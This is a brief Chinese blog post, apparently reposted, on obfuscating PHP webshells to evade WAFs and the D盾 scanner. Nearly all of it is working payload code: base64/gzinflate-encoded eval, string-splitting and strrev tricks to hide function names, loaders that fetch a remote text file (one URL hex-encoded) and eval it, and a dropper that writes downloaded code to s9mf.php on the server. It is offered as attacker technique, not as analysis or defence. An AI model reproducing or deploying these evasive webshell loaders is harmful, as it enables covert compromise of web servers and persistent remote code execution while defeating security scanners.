php大马免杀技巧 | bypass waf

Part 1 前言

  

Part 2 免杀

  执行代码

eval 或 preg_replace的/e修饰符来执行大马代码。

   

$a = 'phpinfo();';
eval($a);
//eval执行php代码

  编码

如果直接去执行代码,是过不了waf的,我们一般需要将大马源码进行编码。

eval_gzinflate_base64类型加密与解密:

http://www.zhuisu.net/tool/phpencode.php

https://www.mobilefish.com/services/eval_gzinflate_base64/eval_gzinflate_base64.php

自己写脚本加密:

$code= file_get_contents('D:phpStudyWWWTestlibhelp.txt'); //大马源码路径
$encode = base64_encode(gzdeflate($code));  //加密函数自己修改就行
echo $encode; //输出加密后代码

  解码

通过解码执行我们的代码。

  

  

<?php                         //加密的代码
eval(gzinflate(base64_decode('S03OyFdQ8shUKLbMTVOyBgA=')));
?>

  关键字免杀

// 类型这样的关键字如果没有混淆拆分是过不了waf的
eval(gzinflate(base64_decode

// 我们需要做的就是关键字免杀

 

  免杀 payload

<?php
$l='baSe6';
$o='4_dE';
$v='cO';
$e='DE';
$love=$l.$o.$v.$e;
$c = "love";
$a=$$c('源码base64加密');
eval($a);
?>

<?php
$a = strrev('EdOcEd_46eSaB'); 
$b= $a('源码base64加密');
eval($b);
?>

  D盾

  

  查杀

  免杀远程执行 payload

    <?php $a=/**/fopen('http://www.xxx.com/s9mf.txt','r');$b='';while(false!=($c=fread($a,8080))){$b.=$c;}print/**/(/**/eval(/**/($c=$b)/**/)/**/);fclose($a);?>
    
    <?php
    $s9 = "687474703A2F2F7033733232373538752E626B742E636C6F7564646E2E636F6D2F73396D662E747874";
    $m="s9";  //远程URL进行hex编码
    $f = file_get_contents(PACK('H*',$$m));
    eval($f);
  ?>

  

  免杀

  远程下载 payload

<?php
$a = 'http://www.xx.com/s9mf.txt';
$b = 'file'.'_g'.'et_'.'contents';
$b = $b($a);
$c = strrev('stnetnoc_tup_elif');
$c('s9mf.php', $b);
?>

  

  免杀,D盾报了1级,可以完全免杀的,但是觉得没必要。

  Part 3 总结

             

  

  

原文地址:https://www.cnblogs.com/s0mf/p/9373471.html